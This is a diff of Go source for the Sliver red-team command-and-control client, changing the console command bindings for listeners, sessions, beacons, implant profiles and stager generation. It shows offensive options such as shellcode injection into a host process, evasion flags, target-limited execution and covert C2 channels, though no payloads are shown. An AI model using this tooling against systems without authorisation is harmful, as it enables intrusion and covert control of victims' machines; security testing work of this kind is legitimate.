fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
|
||||
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
|
||||
fmt.Sprintf(color+"%s ago"+console.Normal, time.Since(time.Unix(beacon.LastCheckin, 0))),
|
||||
fmt.Sprintf(color+"%s ago"+console.Normal, time.Now().Sub(time.Unix(beacon.LastCheckin, 0))),
|
||||
next,
|
||||
})
|
||||
}
|
||||
|
||||
@@ -48,7 +48,7 @@ func BeaconsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if time.Now().Before(nextCheckin) {
|
||||
continue
|
||||
}
|
||||
delta := time.Since(nextCheckin)
|
||||
delta := time.Now().Sub(nextCheckin)
|
||||
if pruneDuration <= delta {
|
||||
pruneBeacons = append(pruneBeacons, beacon)
|
||||
}
|
||||
|
||||
+77
-463
@@ -17,7 +17,7 @@ package command
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
|
||||
---------------------------------------------------------------------
|
||||
---
|
||||
This file contains all of the code that binds a given string/flags/etc. to a
|
||||
command implementation function.
|
||||
|
||||
@@ -36,12 +36,11 @@ package command
|
||||
import (
|
||||
"os"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/socks"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/alias"
|
||||
"github.com/bishopfox/sliver/client/command/armory"
|
||||
"github.com/bishopfox/sliver/client/command/backdoor"
|
||||
"github.com/bishopfox/sliver/client/command/beacons"
|
||||
"github.com/bishopfox/sliver/client/command/completers"
|
||||
"github.com/bishopfox/sliver/client/command/dllhijack"
|
||||
"github.com/bishopfox/sliver/client/command/environment"
|
||||
"github.com/bishopfox/sliver/client/command/exec"
|
||||
@@ -54,6 +53,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/jobs"
|
||||
"github.com/bishopfox/sliver/client/command/kill"
|
||||
"github.com/bishopfox/sliver/client/command/loot"
|
||||
"github.com/bishopfox/sliver/client/command/macros"
|
||||
"github.com/bishopfox/sliver/client/command/monitor"
|
||||
"github.com/bishopfox/sliver/client/command/network"
|
||||
"github.com/bishopfox/sliver/client/command/operators"
|
||||
@@ -68,7 +68,6 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/sessions"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/command/shell"
|
||||
"github.com/bishopfox/sliver/client/command/socks"
|
||||
"github.com/bishopfox/sliver/client/command/tasks"
|
||||
"github.com/bishopfox/sliver/client/command/update"
|
||||
"github.com/bishopfox/sliver/client/command/use"
|
||||
@@ -87,7 +86,6 @@ const (
|
||||
// BindCommands - Bind commands to a App
|
||||
func BindCommands(con *console.SliverConsoleClient) {
|
||||
|
||||
// Load Reactions
|
||||
n, err := reaction.LoadReactions()
|
||||
if err != nil && !os.IsNotExist(err) {
|
||||
con.PrintErrorf("Failed to load reactions: %s\n", err)
|
||||
@@ -95,198 +93,16 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("Loaded %d reaction(s) from disk\n", n)
|
||||
}
|
||||
|
||||
// Load Aliases
|
||||
aliasManifests := assets.GetInstalledAliasManifests()
|
||||
n = 0
|
||||
for _, manifest := range aliasManifests {
|
||||
_, err = alias.LoadAlias(manifest, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to load alias: %s\n", err)
|
||||
continue
|
||||
// Attempt to load extensions from ~/.sliver-client/extensions/
|
||||
exts, err := extensions.ParseExtensions(assets.GetExtensionsDir())
|
||||
// Absorb error in case there's no extensions manifest
|
||||
if err == nil {
|
||||
for _, ext := range exts {
|
||||
extensions.RegisterExtensionCommand(ext, con)
|
||||
}
|
||||
n++
|
||||
}
|
||||
if 0 < n {
|
||||
if n == 1 {
|
||||
con.PrintInfof("Loaded %d alias from disk\n", n)
|
||||
} else {
|
||||
con.PrintInfof("Loaded %d aliases from disk\n", n)
|
||||
}
|
||||
}
|
||||
|
||||
// Load Extensions
|
||||
extensionManifests := assets.GetInstalledExtensionManifests()
|
||||
n = 0
|
||||
for _, manifest := range extensionManifests {
|
||||
ext, err := extensions.LoadExtensionManifest(manifest)
|
||||
// Absorb error in case there's no extensions manifest
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to load extension: %s\n", err)
|
||||
continue
|
||||
}
|
||||
extensions.ExtensionRegisterCommand(ext, con)
|
||||
n++
|
||||
}
|
||||
if 0 < n {
|
||||
con.PrintInfof("Loaded %d extension(s) from disk\n", n)
|
||||
}
|
||||
con.App.SetPrintHelp(help.HelpCmd(con)) // Responsible for display long-form help templates, etc.
|
||||
|
||||
// [ Aliases ] ---------------------------------------------
|
||||
|
||||
aliasCmd := &grumble.Command{
|
||||
Name: consts.AliasesStr,
|
||||
Help: "List current aliases",
|
||||
LongHelp: help.GetHelpFor([]string{consts.AliasesStr}),
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
alias.AliasesCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
}
|
||||
con.App.AddCommand(aliasCmd)
|
||||
|
||||
aliasCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.LoadStr,
|
||||
Help: "Load a command alias",
|
||||
LongHelp: help.GetHelpFor([]string{consts.AliasesStr, consts.LoadStr}),
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
alias.AliasesLoadCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("dir-path", "path to the alias directory")
|
||||
},
|
||||
Completer: func(prefix string, args []string) []string {
|
||||
return completers.LocalPathCompleter(prefix, args, con)
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
|
||||
aliasCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.InstallStr,
|
||||
Help: "Install a command alias",
|
||||
LongHelp: help.GetHelpFor([]string{consts.AliasesStr, consts.InstallStr}),
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
alias.AliasesInstallCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("path", "path to the alias directory or tar.gz file")
|
||||
},
|
||||
Completer: func(prefix string, args []string) []string {
|
||||
return completers.LocalPathCompleter(prefix, args, con)
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
|
||||
aliasCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.RmStr,
|
||||
Help: "Remove an alias",
|
||||
LongHelp: help.GetHelpFor([]string{consts.RmStr}),
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
alias.AliasesRemoveCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("name", "name of the alias to remove")
|
||||
},
|
||||
Completer: func(prefix string, args []string) []string {
|
||||
return alias.AliasCommandNameCompleter(prefix, args, con)
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
|
||||
// [ Armory ] ---------------------------------------------
|
||||
|
||||
armoryCmd := &grumble.Command{
|
||||
Name: consts.ArmoryStr,
|
||||
Help: "Automatically download and install extensions/aliases",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ArmoryStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Bool("I", "insecure", false, "skip tls certificate validation")
|
||||
f.String("p", "proxy", "", "specify a proxy url (e.g. http://localhost:8080)")
|
||||
f.Bool("c", "ignore-cache", false, "ignore metadata cache, force refresh")
|
||||
f.String("t", "timeout", "15m", "download timeout")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
armory.ArmoryCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
}
|
||||
con.App.AddCommand(armoryCmd)
|
||||
|
||||
armoryCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.InstallStr,
|
||||
Help: "Install an alias or extension",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ArmoryStr, consts.InstallStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Bool("I", "insecure", false, "skip tls certificate validation")
|
||||
f.String("p", "proxy", "", "specify a proxy url (e.g. http://localhost:8080)")
|
||||
f.Bool("c", "ignore-cache", false, "ignore metadata cache, force refresh")
|
||||
f.String("t", "timeout", "15m", "download timeout")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
armory.ArmoryInstallCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("name", "name of the extension or alias to install")
|
||||
},
|
||||
Completer: func(prefix string, args []string) []string {
|
||||
return armory.AliasExtensionOrBundleCompleter(prefix, args, con)
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
|
||||
armoryCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.UpdateStr,
|
||||
Help: "Update installed an aliases and extensions",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ArmoryStr, consts.UpdateStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Bool("I", "insecure", false, "skip tls certificate validation")
|
||||
f.String("p", "proxy", "", "specify a proxy url (e.g. http://localhost:8080)")
|
||||
f.Bool("c", "ignore-cache", false, "ignore metadata cache, force refresh")
|
||||
f.String("t", "timeout", "15m", "download timeout")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
armory.ArmoryUpdateCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
|
||||
armoryCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.SearchStr,
|
||||
Help: "Search for aliases and extensions by name (regex)",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ArmoryStr, consts.SearchStr}),
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("name", "a name regular expression")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
armory.ArmorySearchCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
|
||||
// [ Update ] --------------------------------------------------------------
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
@@ -421,8 +237,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("L", "lhost", "", "interface to bind server to")
|
||||
f.Int("l", "lport", generate.DefaultHTTPLPort, "tcp listen port")
|
||||
f.Bool("D", "disable-otp", false, "disable otp authentication")
|
||||
f.String("T", "long-poll-timeout", "1s", "server-side long poll timeout")
|
||||
f.String("J", "long-poll-jitter", "2s", "server-side long poll jitter")
|
||||
f.String("T", "long-poll-timeout", "1m30s", "server-side long poll timeout")
|
||||
f.String("J", "long-poll-jitter", "30s", "server-side long poll jitter")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
f.Bool("p", "persistent", false, "make persistent across restarts")
|
||||
@@ -446,8 +262,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("L", "lhost", "", "interface to bind server to")
|
||||
f.Int("l", "lport", generate.DefaultHTTPSLPort, "tcp listen port")
|
||||
f.Bool("D", "disable-otp", false, "disable otp authentication")
|
||||
f.String("T", "long-poll-timeout", "1s", "server-side long poll timeout")
|
||||
f.String("J", "long-poll-jitter", "2s", "server-side long poll jitter")
|
||||
f.String("T", "long-poll-timeout", "1m30s", "server-side long poll timeout")
|
||||
f.String("J", "long-poll-jitter", "30s", "server-side long poll jitter")
|
||||
|
||||
f.String("c", "cert", "", "PEM encoded certificate file")
|
||||
f.String("k", "key", "", "PEM encoded private key file")
|
||||
@@ -470,7 +286,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
Help: "Start a stager listener",
|
||||
LongHelp: help.GetHelpFor([]string{consts.StageListenerStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("p", "profile", "", "implant profile name to link with the listener")
|
||||
f.String("p", "profile", "", "Implant profile to link with the listener")
|
||||
f.String("u", "url", "", "URL to which the stager will call back to")
|
||||
f.String("c", "cert", "", "path to PEM encoded certificate file (HTTPS only)")
|
||||
f.String("k", "key", "", "path to PEM encoded private key file (HTTPS only)")
|
||||
@@ -510,10 +326,10 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
Help: "Session management",
|
||||
LongHelp: help.GetHelpFor([]string{consts.SessionsStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("i", "interact", "", "interact with a session")
|
||||
f.String("k", "kill", "", "kill the designated session")
|
||||
f.Bool("K", "kill-all", false, "kill all the sessions")
|
||||
f.Bool("C", "clean", false, "clean out any sessions marked as [DEAD]")
|
||||
f.String("i", "interact", "", "interact with a sliver")
|
||||
f.String("k", "kill", "", "Kill the designated session")
|
||||
f.Bool("K", "kill-all", false, "Kill all the sessions")
|
||||
f.Bool("C", "clean", false, "Clean out any sessions marked as [DEAD]")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -527,7 +343,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
}
|
||||
sessionsCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.PruneStr,
|
||||
Help: "Kill all stale/dead sessions",
|
||||
Help: "Kill all stale sessions",
|
||||
LongHelp: help.GetHelpFor([]string{consts.SessionsStr, consts.PruneStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
|
||||
@@ -606,8 +422,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("g", "wg", "", "wg connection strings")
|
||||
f.String("b", "http", "", "http(s) connection strings")
|
||||
f.String("n", "dns", "", "dns connection strings")
|
||||
f.String("p", "named-pipe", "", "namedpipe connection strings")
|
||||
f.String("i", "tcp-pivot", "", "tcppivot connection strings")
|
||||
f.String("p", "named-pipe", "", "named-pipe connection strings")
|
||||
f.String("i", "tcp-pivot", "", "tcp-pivot connection strings")
|
||||
|
||||
f.String("d", "delay", "0s", "delay opening the session (after checkin) for a given period of time")
|
||||
|
||||
@@ -623,24 +439,6 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
}
|
||||
con.App.AddCommand(openSessionCmd)
|
||||
|
||||
// [ Close ] --------------------------------------------------------------
|
||||
closeSessionCmd := &grumble.Command{
|
||||
Name: consts.CloseStr,
|
||||
Help: "Close an interactive session without killing the remote process",
|
||||
LongHelp: help.GetHelpFor([]string{consts.CloseStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
sessions.CloseSessionCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
}
|
||||
con.App.AddCommand(closeSessionCmd)
|
||||
|
||||
// [ Tasks ] --------------------------------------------------------------
|
||||
|
||||
tasksCmd := &grumble.Command{
|
||||
@@ -705,7 +503,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
return nil
|
||||
},
|
||||
Completer: func(prefix string, args []string) []string {
|
||||
return use.BeaconAndSessionIDCompleter(prefix, args, con)
|
||||
return use.Completer(con, prefix, args)
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
}
|
||||
@@ -807,30 +605,6 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
settingsCmd.AddCommand(&grumble.Command{
|
||||
Name: "always-overflow",
|
||||
Help: "Disable table pagination",
|
||||
LongHelp: help.GetHelpFor([]string{consts.SettingsStr, "always-overflow"}),
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
settings.SettingsAlwaysOverflow(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
settingsCmd.AddCommand(&grumble.Command{
|
||||
Name: "small-terminal",
|
||||
Help: "Set the small terminal width",
|
||||
LongHelp: help.GetHelpFor([]string{consts.SettingsStr, "small-terminal"}),
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
settings.SettingsSmallTerm(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
con.App.AddCommand(settingsCmd)
|
||||
|
||||
// [ Info ] --------------------------------------------------------------
|
||||
@@ -1030,7 +804,6 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Uint("p", "pid", 0, "Pid of process to inject into (0 means injection into ourselves)")
|
||||
f.String("n", "process", `c:\windows\system32\notepad.exe`, "Process to inject into when running in interactive mode")
|
||||
f.Bool("i", "interactive", false, "Inject into a new process and interact with it")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
@@ -1044,9 +817,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("e", "entry-point", "", "Entrypoint for the DLL (Windows only)")
|
||||
f.String("p", "process", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode")
|
||||
f.Bool("s", "save", false, "save output to file")
|
||||
f.Bool("k", "keep-alive", false, "don't terminate host process once the execution completes")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
f.Bool("k", "keep-alive", false, "don't terminate host process once the execution completes")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("filepath", "path the shared library file")
|
||||
@@ -1301,7 +1073,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
})
|
||||
generateCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.StagerStr,
|
||||
Help: "Generate a stager using Metasploit (requires local Metasploit installation)",
|
||||
Help: "Generate a implant stager using MSF",
|
||||
LongHelp: help.GetHelpFor([]string{consts.StagerStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("o", "os", "windows", "operating system")
|
||||
@@ -1312,7 +1084,6 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("f", "format", "raw", "Output format (msfvenom formats, see `help generate stager` for the list)")
|
||||
f.String("b", "badchars", "", "bytes to exclude from stage shellcode")
|
||||
f.String("s", "save", "", "directory to save the generated stager to")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
@@ -1324,9 +1095,9 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
generateCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.CompilerInfoStr,
|
||||
Name: consts.CompilerStr,
|
||||
Help: "Get information about the server's compiler",
|
||||
LongHelp: help.GetHelpFor([]string{consts.CompilerInfoStr}),
|
||||
LongHelp: help.GetHelpFor([]string{consts.CompilerStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -1381,16 +1152,11 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
Help: "Generate implant from a profile",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ProfilesStr, consts.GenerateStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("p", "name", "", "profile name")
|
||||
f.String("s", "save", "", "directory/file to the binary to")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("name", "name of the profile", grumble.Default(""))
|
||||
},
|
||||
Completer: func(prefix string, args []string) []string {
|
||||
return generate.ProfileNameCompleter(prefix, args, con)
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
generate.ProfilesGenerateCmd(ctx, con)
|
||||
@@ -1399,35 +1165,32 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
profilesNewCmd := &grumble.Command{
|
||||
profilesCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.NewStr,
|
||||
Help: "Create a new implant profile (interactive session)",
|
||||
Help: "Save a new implant profile",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ProfilesStr, consts.NewStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
|
||||
// Generate flags
|
||||
f.String("o", "os", "windows", "operating system")
|
||||
f.String("a", "arch", "amd64", "cpu architecture")
|
||||
|
||||
f.Bool("d", "debug", false, "enable debug features")
|
||||
f.Bool("e", "evasion", false, "enable evasion features")
|
||||
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
|
||||
f.Bool("s", "skip-symbols", false, "skip symbol obfuscation")
|
||||
|
||||
f.String("c", "canary", "", "canary domain(s)")
|
||||
|
||||
f.String("m", "mtls", "", "mtls connection strings")
|
||||
f.String("g", "wg", "", "wg connection strings")
|
||||
f.String("b", "http", "", "http(s) connection strings")
|
||||
f.String("n", "dns", "", "dns connection strings")
|
||||
f.String("m", "mtls", "", "mtls domain(s)")
|
||||
f.String("g", "wg", "", "wg domain(s)")
|
||||
f.String("H", "http", "", "http[s] domain(s)")
|
||||
f.String("n", "dns", "", "dns domain(s)")
|
||||
f.String("p", "named-pipe", "", "named-pipe connection strings")
|
||||
f.String("i", "tcp-pivot", "", "tcp-pivot connection strings")
|
||||
|
||||
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
|
||||
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
|
||||
|
||||
f.String("c", "canary", "", "canary domain(s)")
|
||||
|
||||
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
|
||||
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
|
||||
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
|
||||
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "attempt to poll every n second(s)")
|
||||
|
||||
f.String("w", "limit-datetime", "", "limit execution to before datetime")
|
||||
f.Bool("x", "limit-domainjoined", false, "limit execution to domain joined machines")
|
||||
@@ -1437,11 +1200,11 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
|
||||
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
|
||||
|
||||
f.String("R", "profile-name", "", "profile name")
|
||||
f.String("N", "name", "", "agent name")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("name", "name of the profile", grumble.Default(""))
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
generate.ProfilesNewCmd(ctx, con)
|
||||
@@ -1449,67 +1212,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
}
|
||||
profilesCmd.AddCommand(profilesNewCmd)
|
||||
|
||||
// New Beacon Profile Command
|
||||
profilesNewCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.BeaconStr,
|
||||
Help: "Create a new implant profile (beacon)",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ProfilesStr, consts.NewStr, consts.BeaconStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int64("D", "days", 0, "beacon interval days")
|
||||
f.Int64("H", "hours", 0, "beacon interval hours")
|
||||
f.Int64("M", "minutes", 0, "beacon interval minutes")
|
||||
f.Int64("S", "seconds", 60, "beacon interval seconds")
|
||||
f.Int64("J", "jitter", 30, "beacon interval jitter in seconds")
|
||||
|
||||
// Generate flags
|
||||
f.String("o", "os", "windows", "operating system")
|
||||
f.String("a", "arch", "amd64", "cpu architecture")
|
||||
|
||||
f.Bool("d", "debug", false, "enable debug features")
|
||||
f.Bool("e", "evasion", false, "enable evasion features")
|
||||
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
|
||||
|
||||
f.String("c", "canary", "", "canary domain(s)")
|
||||
|
||||
f.String("m", "mtls", "", "mtls connection strings")
|
||||
f.String("g", "wg", "", "wg connection strings")
|
||||
f.String("b", "http", "", "http(s) connection strings")
|
||||
f.String("n", "dns", "", "dns connection strings")
|
||||
f.String("p", "named-pipe", "", "named-pipe connection strings")
|
||||
f.String("i", "tcp-pivot", "", "tcp-pivot connection strings")
|
||||
|
||||
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
|
||||
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
|
||||
|
||||
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
|
||||
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
|
||||
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
|
||||
|
||||
f.String("w", "limit-datetime", "", "limit execution to before datetime")
|
||||
f.Bool("x", "limit-domainjoined", false, "limit execution to domain joined machines")
|
||||
f.String("y", "limit-username", "", "limit execution to specified username")
|
||||
f.String("z", "limit-hostname", "", "limit execution to specified hostname")
|
||||
f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
|
||||
|
||||
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("name", "name of the profile", grumble.Default(""))
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
generate.ProfilesNewBeaconCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
|
||||
profilesCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.RmStr,
|
||||
Help: "Remove a profile",
|
||||
@@ -1518,10 +1221,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("name", "name of the profile", grumble.Default(""))
|
||||
},
|
||||
Completer: func(prefix string, args []string) []string {
|
||||
return generate.ProfileNameCompleter(prefix, args, con)
|
||||
a.String("profile-name", "name of the profile")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
@@ -1538,13 +1238,6 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
Help: "List implant builds",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ImplantBuildsStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("o", "os", "", "filter builds by operating system")
|
||||
f.String("a", "arch", "", "filter builds by cpu architecture")
|
||||
f.String("f", "format", "", "filter builds by artifact format")
|
||||
f.Bool("s", "only-sessions", false, "filter interactive sessions")
|
||||
f.Bool("b", "only-beacons", false, "filter beacons")
|
||||
f.Bool("d", "no-debug", false, "filter builds by debug flag")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
@@ -1563,10 +1256,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("name", "implant name", grumble.Default(""))
|
||||
},
|
||||
Completer: func(prefix string, args []string) []string {
|
||||
return generate.ImplantBuildNameCompleter(prefix, args, generate.ImplantBuildFilter{}, con)
|
||||
a.String("implant-name", "implant name")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
@@ -2171,6 +1861,24 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
})
|
||||
con.App.AddCommand(beaconsCmd)
|
||||
|
||||
// [ Macros ] ---------------------------------------------
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
Name: consts.LoadMacroStr,
|
||||
Help: "Load a sliver macro",
|
||||
LongHelp: help.GetHelpFor([]string{consts.LoadMacroStr}),
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
macros.LoadMacroCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("dir-path", "path to the macro directory")
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
|
||||
// [ Environment ] ---------------------------------------------
|
||||
|
||||
envCmd := &grumble.Command{
|
||||
@@ -2318,25 +2026,6 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("o", "hostname", "", "remote host to write values to")
|
||||
},
|
||||
})
|
||||
registryCmd.AddCommand(&grumble.Command{
|
||||
